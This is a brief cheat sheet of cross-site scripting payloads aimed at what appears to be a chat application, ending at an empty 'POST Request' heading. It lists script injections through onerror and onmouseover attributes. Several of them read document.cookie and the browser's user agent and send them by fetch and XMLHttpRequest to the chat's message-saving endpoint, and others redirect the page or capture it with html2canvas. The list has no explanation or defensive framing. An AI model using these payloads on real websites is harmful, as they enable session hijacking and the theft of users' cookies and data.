Normal Alert => onerror

```
<img src="onerror="alert('xss')"/>
```

Onmouseover

```
<h1 onmouseover="alert('another one!!! ©')">Hover here @</h1>
```

Change BG Color

```
<img src="onerror="document.body.style.background='red'"/>
```

Fetch

```
fetch('saveChatData.php?sendOverGET=true&message=' +
escape(document.cookie))
```

Cookie

```
<h1 onmouseover="fetch('saveChatData.php?sendOverGET=true&message=' +
escape(document.cookie));scrollToBottom();">Mouse Over</h1>
```

UserAgent

```
<h1 onmouseover="fetch('saveChatData.php?sendOverGET=true&message=' + escape(navigator.userAgent));scrollToBottom();">Mouse Over</h1>
```

```
window.location.assign('any url or file path')
```

Location Change

```
<img onload="window.open('images/hello.gif','Image')"/>
```

HTML 2 Canvas

```
html2canvas(document.body).then(canvas => {
  document.body.appendChild(canvas)
});
```

GET Request

```
const Http = new XMLHttpRequest();
const url='saveChatData.php?sendOverGET=true&message=' +
escape(document.cookie);
Http.open('GET', url);
```

```
Http.send();
Http.onreadystatechange = (e) => {}
```

POST Request